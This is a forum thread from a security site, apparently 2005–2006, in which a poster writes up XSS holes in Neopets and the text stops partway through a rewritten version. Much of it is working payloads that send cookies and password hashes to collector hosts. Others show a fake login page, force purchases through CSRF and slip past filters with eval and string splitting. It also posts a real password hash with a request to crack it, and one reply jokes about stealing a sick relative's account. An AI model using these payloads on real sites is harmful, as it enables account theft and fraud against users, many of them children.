Government Security
Network Security Resources

Jump to content

Photo

Assorted Neopets Exploits


  • Please log in to reply
20 replies to this topic

#1 kuza55

kuza55

    Corporal

  • Members
  • 161 posts

Posted 06 December 2005 - 02:03 PM

[EDIT2]There's a newer and probably better written version below, so there's no real point reading this post[/EDIT2]

[EDIT3]The XSS hole utilised in the 2 advisories is now blocked, and more counter measures have been taken, but at the time of this writing (4th Feb 2006) it is still possible to circumvent them and I have posted some more up to date info in post number 12 of this thread, so yeah...the only things still valid in these advisories are the exploits themselves (though they do have to be tweaked a bit, so read the 12th post before getting fustrated)[/EDIT3]


Hi guys,

This is just a write up of several vulnerabilities I found in Neopets a while ago, hope someone likes/enjoys it....

-----DISCLAIMER-----
Some of these vulnerabilities are still unpatched (and if my experiences are anything to go by) will probably stay unpatched for a while, so use at your own risk, I take no responsibility for anything you decide to use this information for, it is simply here for educational purposes
-----DISCLAIMER-----

Well, this all started late last year when I still liked Neopets.com (yes, its a scary though), and I had recently read about Gmail having some kind of XSS exploit, and had decided to go learn something about XSS. Most of their stuff seemed relatively secure, except for some random features which would simply exploit code to gain an advantage, they wouldn't do anything in obtaining other users' accounts, or doing anything similar. Anyway after a bit more poking around I realised, while the shop and user profile pages were both vulnerable to you placing code in the onFocus/Blur events, my preference would be to place it in a body tag like so:
<body onFocus="//javascript goes here">
Because it seems like (I'm not 100% sure that it does, but it acts as if it did, at least in Firefox) this would overwrite the onFocus/Blur events for the actual body tag.

Anyway, now that I had an entry point I could do so much it was just silly.

Anyway, after one of my ideas [1] somehow got leaked [2], and started getting widely used neopets implemented some security. The security they implemented was that for all purchases/auction bids there was a hidden field named _ref_ck inserted into the forms, the value is an md5 hash which changes every session, I'm into exactly sure of what it hashes, but if anyone wants to brute one [3] for me I'd be interested. Now the biggest weakness with this security measure is that; that same code is also kept in the shop pages, and so an XSS exploit could still easily make a user bid all their NP on an auction.

From this point I wrote several exploits (which I'll include at the end if I can find them [4]), but did nothing with them, since I'm not malicious (no, really).

And I left things as they were for about 8 months [5] until August this year, when i went back to check if the vulnerabilities were still were, and what a guess: they were. So I decided to send my scripts (well, the remains of them anyway, see the beginning of [4]) with the recommended fix that they should use preg_match() to check if any on* events were being included, and then simply remove ALL user input if it matches anything to the admin at a neopets fan site, who promptly got in touch with neopets, but in true bumbling bureaucracy style they didn't contact me for a few weeks, and failed to implement my fix.

Anyway, I didn't play the site so i didn't overly care, but I did go there to see what measures they has taken. One thing that I think they didn't realise was actually quite annoying was they implemented a function which changed all plus signs (+) to the HTML equivalent for a symbol that looks like a plus sign (). Now this could have a posed a small problem if it was the only way to concatenate strings, but luckily in Javascript you can use array.join(delimiter) and string.concat(string), I preferred the array.join('') method, but hey to each his/her own. So I proceed to myself I could still subvert the security and left it there, until one fun day.....

I'd told one of my friends I know from real life about the holes I'd discovered and the scripts I;d written, and him being a techie like me wanted to have a look, and soon he wrote a basic exploit along the lines of my one in '[4]' which stole cookies, and we had a major breakthrough. Up to this point we had no idea about most of the data in the cookie ('cos I really hadn't cared to look), but we did know that there was some kind of IP check or something going on since cookies from computer wouldn't work on another in exactly the same browser environment. Now what my friend found was an huge vulnerability in the actual application they stored md5 hashes in the 'toolbar' cookies (it wasn't just the md5, it was 'username+C+md5hash' and the '+C+' is part of the cookie string. Can everyone see where we're going with this? Good, I'm glad, :D.

Now I could leave it there, but since we completely redid a few scripts, one of which I thought was rather excellent (well I wrote it so I'm allowed to be conceited, :P). Anyway, I didn't bother rewriting any of the scripts which gave all a user's items to me (I was very disappointed when I lost this one, since it would retrieve a list of item IDs from a user's inventory and then donate all those items to an account I specified, at the time it used iframe/popups/whatever I could use to send a request and retrieve the data, but it could be rewritten quite well using AJAX, as could the Auction bidding exploit), since we now had some purpose for stealing cookies, so we cooked up lots and lots of way (mostly code revisions, I only have 3 separate final versions, I have a fourth which was my second attack that got scrapped in favor of another one).

Anyway here is a description of the separate attacks I built:

1. Rather simple it had a div which loaded before any javascript, in case it was turned off, and took up the entire screen with white, and then the javascript tried to redirect to another URL which would steal the cookie, and then that page would send a Location header to redirect the user's browser to the neopets home page.

Note: All code after v1 above sent the username/petname/(and maybe NP, but I think i removed that) along with the cookie data.

2. An attempt to make stuff more clean. I tried to write my own cookie for when a password hash had already been stolen, and then check the cookie, to decrease load on the collection server. This is the one that got scrapped. The actual attack was similar to v4 on this list.

3. This idea I thought was rather neat, what I did was I wrote some code which would document.write() a javascript tag with an src attribute to a js file on our server, the js file would then print out a false login page, in a place where one could be expected. I also passed the username/petname along to the script so that the script would actually be a PHP script which would include the correct username/pet name, and pet picture so it would look identical.

4. This was probably my best idea. Since neopets has ads at the top of the page, I decided to change the SRC attribute of the ads to our collection page with the cookie data as a variable. Completely invisible to the user, my friend still preferred method 1 because in method 1 a user is effectively unable to buy anything from the shop, stingy bastard, :P. I liked this method since it could be installed on already hacked users' accounts in their profile pages and those pages would collect anyone's data who visited.

5. I have been planning to do this for ages, but it seemed like too much effort when I could just get people's password hashes. The netops site is vulnerable to the $_SERVER['PHP_SELF'] problem, but it has magic_quotes_gpc enabled, the quotes simply make stuff harder, but it is still possible. Anyway, I saw the Sammy myspace worm, and wanted to write one myself, but yeah, cbf since they check referers on the submission page, and the referer is incorrect because of our injection. If anyone actually wants to write this (for education purposes only!, :P) you can simply create an iframe, load the shop editing page in it, then edit the fields in there and then submit it. Now that may not work perfectly since Neopets at least used to have some code to break out of frames, and so you may have to resort to things like seeing if you can use innerHTML properties for images, etc, or stopping the execution of the iframe, and then document.write(0-ing to it before submitting, anyway get creative! :D


Anyway, thats about all i have to say here's some (I say only some because you don't want all the separate versions I wrote, ugh, I doubt anyone would want to look at those) of the code:


1:
<div style="position:fixed;
  _position:absolute;
  top:0;  _top:expression(0);
  bottom:0;
_height:expression(1000);
  right:0;
  _width: expression(800);
  left:0;
  background:#FFFFFF;
  z-index: 99;"> </div><body onFocus="function gc () {var a = Array (1);a[0] = 'coo';a[1] = 'kie';var b = a.join('');c = document;url = '****.*********.***/get.php?cookies=';location.href = (url.concat(c[b]));}if (navigator.appName != 'MSIE') {gc();}" onBlur = "gc();" onKeyDown="gc();" onKeyUp="gc();">

2: (Note: I'm not even sure if this works, this is just from my files):
<body onFocus="function setCookie(name, value, expires, path, domain, secure) {
  var curCookie = name.concat("=").concat(escape(value)).concat(((expires) ? "; expires=" + expires.toGMTString() : "")).concat(((path) ? "; path=" + path : "")).concat(((domain) ? "; domain=" + domain : "")).concat(((secure) ? "; secure" : ""));
  document.cookie = document.cookie.concat (curCookie);
}
function getCookie(name) {
  var dc = document.cookie;
  var prefix = name.concat ("=");
  var begin = dc.indexOf("; " + prefix);
  if (begin == -1) {
	begin = dc.indexOf(prefix);
	if (begin != 0) return null;
  } else
	begin += 2;
  var end = document.cookie.indexOf(";", begin);
  if (end == -1)
	end = dc.length;
  return unescape(dc.substring(begin + prefix.length, end));
}
function fixDate(date) {
  var base = new Date(0);
  var skew = base.getTime();
  if (skew > 0)
	date.setTime(date.getTime() - skew);
}

function gc () {
var a = Array (1);
a[0] = 'coo';
a[1] = 'kie';
var b = a.join('');
c = document;
url = 'http://****.*********.***/get.php?cookies=';
var now = new Date();
fixDate(now);
now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000);
var xz = getCookie("_-xzst");
if (!xz) {
  setCookie("_-xzst", "done", now);
  location.href = (url.concat(c[b]));
} else {
  setCookie("_-xzst", "done", now);
  var as = document.getElementsByTagName ('A');for (l=0;l<as.length;l++) {
	var tmp = as[l].href.split ("neopets.com/");
	var page = tmp[count(tmp)-1];
	var page = page.split ("?");
	page = page[0]; 
	if (page== 'neopoints.phtml') {
	  var np = as[l].text;
	  np = np.replace (',', '');
	}elseif (as[l].href == 'quickref.phtml') {
	  var pet = as[l].text;
	}elseif (as[l].href == 'randomfriend.phtml') {
		var user = as[l].text;
	  }
	}
  }
  var print = '<script sr';
  var url = http://****.*********.***/js.js?'
  url = url.concat ('np=');
  url = url.concat (np);
  url = url.concat ('&pet=');
  url = url.concat (pet);
  url = url.concat ('&user=');
  url = url.concat (user);
  print = print.concat ('c=');
  print = print.concat(url);
  print = print.concat ('>');
  document.write (print);
}
}

if (navigator.appName != 'MSIE') {
gc();
}" onBlur = "gc();" onKeyDown="gc();" onKeyUp="gc();">

3:
<body onFocus="function ad (x) {   var c;   var b = new Array (4);   b[0] = 'c = String.';   b[1] = 'fromCha';   b[2] = 'rCode (';   b[3] = x;   b[4] = ');';   eval (b.join(''));   return c;} function pp (x) {  var a = new Array(2);  var d;  a[0] = 'd =  x';  a[1] = ad(43);  a[2] = '1;';  eval (a.join(''));  return d;}  var c = document;  var use = 'nul';  var np = 'nul'; var as = c.getElementsByTagName ('A');for (l=0;l<as.length;l=pp(l)) {	var tmp = as[l].href.split ('neopets.com/');	var page = tmp[tmp.length-1];	var page = page.split ('?');	page = page[0];	 if ((page== 'objects.phtml')&&(np == 'nul')) {	  var np = as[l].text;	  np = np.replace (',', '');	}	if (page == 'quickref.phtml') {	  var pet = as[l].text;	}	if ((page == 'randomfriend.phtml')&&(user == 'nul')) {		var user = as[l].text;	}  }  var url = 'http://****.*********.***/js.js?';  url = url.concat ('np=');  url = url.concat (np);  url = url.concat ('&pet=');  url = url.concat (pet);  url = url.concat ('&user=');  url = url.concat (user); document.write (url);">

3.2: (I'm not sure how it differs to 3, I'll have a look a bit later, but yeah I'm just pasting code in here that *should* work...)
<body onfocus="
function pp (x) {
var a = new Array(2);
var b = new Array(2);
b[0] = 'from';
b[1] = 'Char'; 
b[2] = 'Code';
b = b.join('');
var d = String;
a[0] = 'e = x ';
a[1] = d[b](43); 
a[2] = ' 1';
eval (a.join('')); 
return e; 
}
c = document; 
f = new Array(1);
f[0] = 'inner';
f[1] = 'HTML';
f = f.join('');
var as = c.getElementsByTagName ('A'); 
var name = 'null';
for (l=0;l<as.length;l=pp(l)) { 
var tmp = as[l].href.split('neopets.com/'); 
var page = tmp[tmp.length-1]; 
var page = page.split ('?'); 
page = page[0]; 
if (page == 'quickref.phtml') { 
var pet = as[l][f]; 
} 
if (page == 'randomfriend.phtml' && name=='null') { 
var name = as[l][f]; 
} 
}
var a = '<scrip'; 
var a = a.concat('t s'); 
var a = a.concat('rc=http://****.****'); 
var a = a.concat('**.***/****-*/******/j');  //its asterisked out 'cos I don't like giving my/my friends' details away
var a = a.concat('s1.j'); 
var a = a.concat('s?name=');
var a = a.concat(name); 
var a = a.concat('&pet='); 
var a = a.concat(pet); 
var a = a.concat('></scr'); 
var a = a.concat('ipt>'); 
var d = new Array(1); 
d[0] = 'wri'; 
d[1] = 'te'; 
var e = d.join(''); 
c[e](a); 
c.close();
">

4:
<body onFocus="  function gc() {  var a = 'http://****.*********.***/get.php?cookies=';  var b = 'cookie';  var c = document;  var d = 'sr';  d = d.concat('c');  var as = c.getElementsByTagName ('IMG');  as[0][d] = a.concat(c[b]);}  gc();" onBlur="gc();" onKeyDown="gc();" onKeyUp="gc();">



----------------

[1] At this point neopets still had either register_globals turned on, and they were using variables inside the global scope instead of using $_POST, or they were using $_REQUEST instead of $_POST. So it was possible to create a link which would make a person bid any amount of NP (NeoPoints) on any auction which the link creator specified.

[2] I told only people I thought I could trust, so I must have been mistaken about the trust.

[3] I just got this one about 2 minutes ago, from one of the random accounts me and my friend made while testing the later parts: 89f715498d2751c53cc42ac37609c5d5 if anyone is willing to brute a few tell me and I'll send you some lists, maybe we can find out a bit more.....

[4] Never, _ever_ let any of your 'friends' try and upgrade your OS at a LAN party, bad, bad idea, I lost most of my stuff that day..... Note: all the code posted under '[4]' is old code that you will need to take new security measures into account.

Ok, I found a few, here's one which will force a user to buy an item on your shop page depending on how much money you have:
<body onFocus="var test = 'sr'+'c';
var a = document.getElementsByTagName('A');
for (i=0;i<a.length;i++) {
var imgs = a[i].getElementsByTagName('IMG');
if (imgs[0]) {

	if (imgs[0][test] == 'http://images.neopets.com/items/tiki_rock.gif'){
		var rock = i;
	}
	if (imgs[0][test] == 'http://images.neopets.com/items/tiki_boat.gif'){
		var boat = i;
	}
	if (imgs[0][test] == 'http://images.neopets.com/items/blackmound.gif'){
		var sludge = i;
	}
	if (imgs[0][test] == 'http://images.neopets.com/items/tombola_tikishirt.gif'){
		var tiki = i;
	}
}
}
var as = document.getElementsByTagName ('A');for (l=0;l<as.length;l++) {	if (as[l].href == 'http://www.neopets.com/neopoints.phtml') {			var np = as[l].text;			np = np.replace (',', '');	}}
if (np>99998) {
document.location = as[rock].href;
} else if (np>79999) {
document.location = as[boat].href;
} else if (np>69999) {
document.location = as[tiki].href;
} else if (np>39999) {
document.location = as[sludge].href;
} else {
document.location = 'http://www.neopets.com/winter/adventcalendar.phtml';
}">

The simplest hack, it just stole users' cookies:
<body onFocus="var test = 'c'+'ookie';document.location = 'http://free.host'+'ultra.com/~[removed my account name]/test.php?okie='+document[test];">
Note: even at this piont they had some minor security, so you had to create variables because some words neopets wouldn't allow you to print, and some hosts were banned from being written, :P

This one is the basics of the Auction idea before the security code was introduced:
<body onFocus="var as = document.getElementsByTagName ('A');for (i=0;i!==as.length;i++) {	if (as[i].href == document.domain+'/neopoints.phtml') {			var np = as[i].text;			np = np.replace (',', ''); document.location = 'http://free.hos'+'tultra.com/auct.php?np='+np;	}}">

[5] Not exactly true, but they woldn't reply to my e-mails - I sent 2 -, and I wasn't going to try overly much to make their site secure now was I?

[EDIT]: P.S. Any feedback would be appreciated seeing as I've never written anything like this before.....

Edited by kuza55, 04 February 2006 - 01:20 AM.


#2 NoUse

NoUse

    Private

  • Members
  • 10 posts

Posted 06 December 2005 - 03:42 PM

I will give you some constuctive criticism, since you asked for it.

The main problem I saw with this article is that there's too much writing that isn't really necessary. I had to read through a lot of bullshit just to get to the point. Talking about your friend in real life is pointless and negligible, so just leave it out. Your writing confused me at some points, as you tend to jump around a lot. Your ideas are jumbled and incomplete. My suggestion would be to sit down and create a table of contents in order to help organize your thoughts and make your writing clearer. If English isn't your first language then I'm able to cut you some slack, but if it is your native tounge, I suggest learning how to write better.

I would also suggest you to not post code if "your[sic] not even sure it works". No one wants to be a guinea pig, so test out YOUR code before you post it.

Now, my last suggestion would be to find a site that isn't for kids. I'm not sure how old you are (I assume you are young, since you like to play neopets), but stealing children's accounts on neopets is a little out there, if you know what I mean.

Besides my criticism, your article was good. It's a good first article and I'm even more impressed you actually coded some exploits for your XSS. Good job.

#3 kuza55

kuza55

    Corporal

  • Members
  • 161 posts

Posted 06 December 2005 - 06:00 PM

The main problem I saw with this article is that there's too much writing that isn't really necessary. I had to read through a lot of bullshit just to get to the point.

Ok, thanks for that, I just generally write like that when I write online so I guess for this type of thing I should merely stick to anything relevant, sorry about that.

Talking about your friend in real life is pointless and negligible, so just leave it out.

That I wouldn't want to remove, since I didn't actually find the fact that the md5 hashes are stored in cookie, as for the crap I should probably take that out, and simply state that a friend found it, and nothing more, again, sorry about that.

Your writing confused me at some points, as you tend to jump around a lot. Your ideas are jumbled and incomplete. My suggestion would be to sit down and create a table of contents in order to help organize your thoughts and make your writing clearer.

Thanks for the idea, I'll do that next time.

If English isn't your first language then I'm able to cut you some slack, but if it is your native tounge, I suggest learning how to write better.

Well, it really depends on how you define native language, its not, but for all effective purposes I should probably learn how to write better.

I would also suggest you to not post code if "your[sic] not even sure it works". No one wants to be a guinea pig, so test out YOUR code before you post it.

Yeah, I should probably not have posted that since it was an idea that I scrapped, I'll be sure to check everything before posting next time.

Now, my last suggestion would be to find a site that isn't for kids. I'm not sure how old you are (I assume you are young, since you like to play neopets), but stealing children's accounts on neopets is a little out there, if you know what I mean.

note, 'used' to play, but yeah, I see your point it was at the time the only site I was familiar enough to do anything with, as to stealing children's accounts, yeah I see what you mean, but I really don't see how its all that much different to stealing accounts from any other site, they could all be children, or they could not be children, but I do see your point, and just as a note no damage was actually done in the creation of the exploits...

Besides my criticism, your article was good. It's a good first article and I'm even more impressed you actually coded some exploits for your XSS. Good job.

Thanks, especially for the help....

Edited by kuza55, 06 December 2005 - 06:04 PM.


#4 apoc_neo

apoc_neo

    Specialist

  • Members
  • 113 posts

Posted 07 December 2005 - 12:38 AM

You can follow that md5 pass hashes progress here...

http://www.plain-tex...cc42ac37609c5d5

#5 Logan

Logan

    Specialist

  • Sergeant Major
  • 1,596 posts

Posted 07 December 2005 - 06:53 AM

Not just children play Neopets. My cousing who is 19 plays neopets at college when she's bored, and my aunt who is about 55 plays Neopets cause she has cancer and has nothing better to do.

Steal their accounts :


#6 Guest_Spiffypat_*

Guest_Spiffypat_*
  • Guests

Posted 10 December 2005 - 08:18 AM

Not just children play Neopets. My cousing who is 19 plays neopets at college when she's bored, and my aunt who is about 55 plays Neopets cause she has cancer and has nothing better to do.

Steal their accounts :

Now thats just wrong :(
All together, this was a pretty well done post, keep it up.

#7 kuza55

kuza55

    Corporal

  • Members
  • 161 posts

Posted 16 January 2006 - 03:21 AM


Not just children play Neopets. My cousing who is 19 plays neopets at college when she's bored, and my aunt who is about 55 plays Neopets cause she has cancer and has nothing better to do.

Steal their accounts :

Now thats just wrong :(
All together, this was a pretty well done post, keep it up.

Leaving behind the ethics of using exploits, etc, I took on board what you guys (well NoUse, anyway, :P) said, and rewrote the whole thing (albeit a while ago, I was just being lazy, so the finishing touches sorta took ages to add....not as if anyone really cares about this, but hey....), with a few new bits of content, but nothing overly new, basically the same info, but written in a more professional manner, and with a few new tid bits, so here goes:

Neopets Vulnerabilities/Exploits
-------------------------------------------------------

DISCLAIMER:
-------------------------------------------------------

The information in this paper is provided for
educational and informational purposes only. The use
of the information from this article in a malicious
manner is strictly forbidden, and I will not be
responsible for any actions that may ensue from the
reading of this article.

-------------------------------------------------------

Table of Contents:
-------------------------------------------------------

1.1 Introduction

2.1 General

2.2.1 The Vulnerability (XSS - Stored)

2.2.2 The Vulnerability (XSS - Reflected)

2.3 The Vulnerability (Storing Hashes)

2.4 The Vulnerability (Usage of $_REQUEST)

3.1 Issues

4.1 Exploits (Introduction)

4.2.1 Exploits (Pure XSS)

4.2.1 Exploits (XSS + CSRF)

4.3 Possibilities

-------------------------------------------------------

1.1 Introduction:
-------------------------------------------------------
This paper is the second version of much the same
information which I posted on GSO earlier, and
recieved advice on how to better write this, and this
is the end product. Neopets has also added some extra
defensive measures since the last paper, those are also
described here, and how to circumvent them. There is
also a very small amount of new content, but it is
fairly insubstantial.

-------------------------------------------------------

2.1 General
-------------------------------------------------------
The main vulnerability discussed in this paper is the
injection of malicious code into the database which is
then served up to users. Its probably got a proper
name like 'Persistent XSS Injection' or something, but
I don't know it.

The vulnerable pages are all of those which accept
descriptions, i.e. shop pages, user profiles,
galleries and I would assume guilds as well, but that
I have not investigated, since even if the problem was
there as well the damage that could be dne is small
compared to the other pages.

There are probably other vulnerabilities other than
the ones I will mention in this paper, but since these
were enough to mount very devastating exploits I saw
no need to find more before these get patched.

Also of note is the fact that Neopets does not
differentiate between GET and POST data, so either they
are using $_REQUEST when accessing vars, or they are
using register_globals, if they are using $_REQUEST
then a few things can be done like setting cookies with
the names of the fields for settign a new password and
any value, and then telling the user they should change
their password, so when its changed it will use the
$_COOKIE value instead of the $_POST value, if they are
using register_globals then the same attack will also
work, but you can also do the normal register_globals
attacks, but finding vulnerabilities in closed source
apps is much harder than open source apps, so to anyone
who tries; good luck! :)

Note: the attack described above depends on the
configuration of PHP in the variables_order directive.

-------------------------------------------------------


2.2.1 The Vulnerability (XSS - Stored)
-------------------------------------------------------
The vulnerability exists in the pages because many On*
Events for elements are not stripped. While onLoad is
stripped, many including onFocus, onBlur, onKeyDown,
onKeyUp, and more.
-------------------------------------------------------

2.2.1 The Vulnerability (XSS - Reflected)
-------------------------------------------------------
While Neopets has had a large amount of reflected XSS
holes, most of them have been fixed, except for one
(which I have found; there could be more, but I do not
use the site so i don't know). The vulnerability
exists because all of Neopets pages which include
search functionality use $_SERVER['PHP_SELF']to get
the current script's path, and it is not sanitised.
Neopets though is running with magic_quotes_gpc turned
on so you will have to user some tricks to get around
that. One of the cleanest methods of stealing cookies
that I've made goes along these lines:

"><img src=http://yourdomain.com/collector.php/
id=undefined width=0 height=0 style=display:none />
<script>var a = document.getElementById(document.test);
var a.src = a.src.concat(document.cookie);</script><foo
a="

It is invisible to users because the request is done
through an image, and there are enough measures taken
to make sure the user doesn't see the image.

The end part (foo) is there only to not screw up any
HTML too badly so that things aren't noticed so much.

This vulnerability is not so large as the previous
because a small amount of social engineering is
required at the very least.

-------------------------------------------------------


2.3 The Vulnerability (Storing Hashes)
-------------------------------------------------------
Neopets stores the user's username ane password hash
in the 'toolbar' cookie, seperated by the characters
'+C+' (without the quotes). The hash is an md5 hash,
for which there are many, many online rainbow tables
availiable.

-------------------------------------------------------


2.4 The Vulnerability (Usage of $_REQUEST)
-------------------------------------------------------
To cut things short, neopets uses $_REQUEST to process
all data and the priority for overwriting variables is
(E)GCP(S) (I cannot without access to the server prove
anything relating to the Environment or Server
variables). What this means is that we can overwrite
any get data by providing a cookie wiht the same name,
and overwrite cookie and get data by providing post
data. Now I'm not going to go into what could have been
done if the order was EGPCS, but sufice to say things
would have been very interesting. There is an issue
where sending GET or COOKIE data is not the same as
sending POST data, and that is that ALL tags are
stripped out of GET and COOKIE data, so keep that in
mind.

Though, one fun thing to do when you infect a user is
to set cookies with values such as owner and user, so
that people cannot visit a shop other than yours
without clearing their their cookies, or not be able to
view any other user profile, etc, you can overwrite any
GET data being processed by setting a cookie.

-------------------------------------------------------


3.1 Issues
-------------------------------------------------------
I reported the stored XSS holes to Neopets a while ago
so some half-fixes have been implemented (my advice
was not taken). These half fixes include:

- Replacing all plus (+) signs with
- Dissalowing the usage of document.cookie
- Dissalowing the usage of document.getElementById()
- Semi-dissalowing the usage of document.write()
- Dissalowing the usage of String.fromCharCode()

These can all be relatively easily subverted though.

The replacement of the plus sign is not generally a
problem considering that most of its uses were for
concatenation. We can use either String.concat() to
concatenate strings, where concat is a method of each
string object, not a static method, or Array.join(),
where the join method is a method of each array object

When we need to use var++ though, things start to get
slightly complex, in short I wrote these 2 functions
to solve this problem:

function ad (x) {
var c;
var b = new Array (4);
b[0] = 'c = String.';
b[1] = 'fromCha';
b[2] = 'rCode (';
b[3] = x;
b[4] = ');';
eval (b.join(''));
return c;
}
function pp (x) {
var a = new Array(2);
var d; a[0] = 'd = x';
a[1] = ad(43);
a[2] = '1;';
eval (a.join(''));
return d;
}

ad is a solution to the String.fromCharCode issue,
pp(x) should act the same way as x++, or at least
close enough not to matter (its really x = x + 1).

The problems about document.getElementById() and
document.write() can be easily solved by making a
copy of document and calling the functions from there
or by using variable functions, here are examples of
both:

Copy of document:
-----
var a = document;
var b = a.getElementById ('id');

---

Variable functions:
-----
var a = 'getElem';
a = a.concat ('entById');
var b = document[a]('id');
---

document.cookie can be accessed using variable
variables like so:

Variable variables:
-----
var a = 'coo';
a = a.concat ('kie');
var b = document[a];

Since the release of the previous paper on GSO Neopets
has added some extra defensive measures, though these
may not be all of them they do include the following:
- When the word 'document' is found within quotes
(either double or single) and then withing less
than and greater than signs (e.g. <"document">) the
whole tag gets blocked (by being replaced with
-blocked-
- When the same condition is reached with the word
'window' it is replaced with wind*w

Since the eval() function is still not blocked we can
easily circumvent this using the following function:

function doc() {
var a = 'var d = doc';
eval (a.concat('ument;'));
return d;
}

and then instead of using

var a = document;

you would use

var a = doc();

the same technique can be used for 'window'

Also, (I think) it is not exactly something that was
designed to combat attacks, but backslashes are
stripped in a very weird way, which I haven't been able
(due to mainly laziness) to completely decipher.

(A note on eval(); Neopets blocks the use of eval(),
but not the use of eval () - note the space)
-------------------------------------------------------

4.1 Exploits (Introduction):
-------------------------------------------------------

The possible exploits for the 2 holes are wide ranging
and since the exploit above for the reflected hole is
probably the best(cleanest anyway) one that I can
think of, I will not cover that again.

-------------------------------------------------------

4.2.1 Exploits (Pure XSS):
-------------------------------------------------------
The possibilities of Pure XSS attacks that can be
evaluted from those pages are these 2:

- The stealing of cookie, and therefore usernames
and password hashes.
- The displaying of a fake login page, where one is
actually expected within the Neopets site.


The first can be evaluted in a number of ways which
everyone should be familiar with, but here are 2
examples, anyway:

<div style="position:fixed;
_position:absolute;
top:0; _top:expression(0);
bottom:0;
_height:expression(1000);
right:0;
_width: expression(800);
left:0;
background:#FFFFFF;
z-index: 99;"> </div><body onFocus="function doc() {
var a = 'var d = doc';
eval (a.concat('ument;'));
return d;
}
function gc () {
var a = Array (1);
a[0] = 'coo';
a[1] = 'kie';
var b = a.join('');
c = doc();
url = 'http://yourdomain.com/get.php?cookies=';
location.href = (url.concat(c[b]));
}
if (navigator.appName != 'MSIE') {
gc();
}"
onBlur = "gc();" onKeyDown="gc();" onKeyUp="gc();">

That simply redirects the user, fromt here the server
should send a Location header so as not to alert the
user as much as if you stayed on the page.

<body onFocus="function doc() {
var a = 'var d = doc';
eval (a.concat('ument;'));
return d;
}
function gc() {
var a = 'http://yourdomain.com/get.php?cookies=';
var b = 'cookie';
var c = doc();
var d = 'sr';
d = d.concat('c');
var as = c.getElementsByTagName ('IMG');
as[0][d] = a.concat(c[b]);
} gc();"
onBlur="gc();" onKeyDown="gc();" onKeyUp="gc();">


That simply makes the request through an image so it
is excellent for leaving on an compromised user's
shop/user/etc page, since most users do not edit
those pages frequently if at all.


The next one is probably my favourite since the user
really doesn't have any idea what is going on and it
is possible to use some very nice tricks. What it does
is it writes a script tag to the page (which overwrites
anything since it is a call to document.write in an
event), and so you can display any conten you like. In
this case the best target is the shop page where you
can put extremely underpriced (popular) items for sale
and then show them a page which shows them that there
are no items in the shop. The only trick to this one
is that you must first get their usrename/pet name and
the amount of NeoPoints they have so you can display
it at the top of the page. From there you simply make
the js file a server side file which can extract GET
variables and prints them in the appropriate places.

<body onFocus="function doc() {
var a = 'var d = doc';
eval (a.concat('ument;'));
return d;
}
function ad (x) {
var c;
var b = new Array (4);
b[0] = 'c = String.';
b[1] = 'fromCha';
b[2] = 'rCode (';
b[3] = x;
b[4] = ');';
eval (b.join(''));
return c;
} function pp (x) {
var a = new Array(2);
var d;
a[0] = 'd = x';
a[1] = ad(43);
a[2] = '1;';
eval (a.join(''));
return d;
}
var c = doc();
var f = 'coo';
f = f.concat('kie');
co = c[f];
var use = 'nul';
var np = 'nul';
var as = c.getElementsByTagName ('A');
for (l=0;l<as.length;l=pp(l)) {
var tmp = as[l].href.split ('neopets.com/');
var page = tmp[tmp.length-1];
var page = page.split ('?');
page = page[0];
if ((page== 'objects.phtml')&&(np == 'nul')) {
var np = as[l].text;
np = np.replace (',', '');
}
if (page == 'quickref.phtml') {
var pet = as[l].text;
}
if ((page == 'randomfriend.phtml')
&&(user == 'nul')) {
var user = as[l].text;
}
}
var url = 'http://yourdomain.comt/js.js?';
url = url.concat ('np=');
url = url.concat (np);
url = url.concat ('&pet=');
url = url.concat (pet);
url = url.concat ('&user=');
url = url.concat (user);
url = url.concat ('&cookie=');
url = url.concat (co);
document.write (url);
">

That script simply loops through all the links and
extracts the relevant data and then sends it off to the
script along with the cookie data. (Note: you may have
to replace .text with .innerHTML for IE, which I forgot
to mention is also dissalowed, :P)

Making a login page appear there is as simple as using
document.write() in an event o overwrite the page, and
write an off site js script, the js script should look
exactly like the login page, but the onSubmit event for
the form should not submit it anywhere, but write
another script to the page, which would also have
server side code in it which finds the pets picture.

I will not include any PoC code for that though since
the hole is rather large, and users expect there to be
login pages if they aren't properly logged in, and not
a redirect, and its not as interesting as the stuff
already in here, :P
-------------------------------------------------------

4.2.2 Exploits (XSS + CSRF):
-------------------------------------------------------
With a combination of XSS and Cross Site Request
Forgeries, it is possible to do some rather interesting
things, these include forcing the user to buy items
from a shop or auction (this can no longer be
accomplished via simly sending someone to a link
because, that idea started getting abused by a large
amount of users, so they implemented a check, oh and
the links for the items in shops change every few
minutes anyway in addition to the new protection). The
(relatively) new protection mechanism is a 32 character
hash which gets changed on every login, and is included
in links, but not kept in cookies, if the hash is not
sent then the action is not evaluted. Now we know that
the hash is transmitted in the '_ref_ck' variable
through the links, and namely at the end of the links
so it is possible to loop through the links and split
the href string by the string '&_ref_ck=' and
everything on the right is the hash. So you can make a
user bid on an auction using that informtion, but a
much easier one to work is this one:

<body onFocus="function doc() {
var a = 'var d = doc';
eval (a.concat('ument;'));
return d;
}
function ad (x) {
var c;
var b = new Array (4);
b[0] = 'c = String.';
b[1] = 'fromCha';
b[2] = 'rCode (';
b[3] = x;
b[4] = ');';
eval (b.join(''));
return c;
} function pp (x) {
var a = new Array(2);
var d;
a[0] = 'd = x';
a[1] = ad(43);
a[2] = '1;';
eval (a.join(''));
return d;
}
var test = 'sr';
tes = tes.concat('c');
var doc = doc();
var a = doc.getElementsByTagName('A');
for (i=0;i<a.length;pp(i)) {
var imgs = a[i].getElementsByTagName('IMG');
if (imgs[0]) {

if (imgs[0][test] ==
'http://images.neopet...s/tiki_rock.gif'){
var rock = i;
}
if (imgs[0][test] ==
'http://images.neopet...s/tiki_boat.gif'){
var boat = i;
}
if (imgs[0][test] ==
'http://images.neopet.../blackmound.gif'){
var sludge = i;
}
if (imgs[0][test] ==
'http://images.neopet...od_meatcake.gif'){
var mc = i;
}
}
}
var as = document.getElementsByTagName ('A');
for (l=0;l<as.length;l++) {
if (as[l].href ==
'http://www.neopets.com/neopoints.phtml') {
var np = as[l].text;
np = np.replace (',', '');
}
}
if (np>99998) {
document.location = as[rock].href;
} else if (np>79999) {
document.location = as[boat].href;
} else if (np>69999) {
document.location = as[mc].href;
} else if (np>39999) {
document.location = as[sludge].href;
} else {
document.location = 'http://www.neopets.com/';
}">

Obviously you need to have the items there, adjust the
price values, etc, but yeah, essentially that should
work, ;)

With your knowledge you should easily be able to extend
that to auctions as well.
-------------------------------------------------------

4.3 Possibilities:
-------------------------------------------------------
Now, other than what I have outlined above, you can use
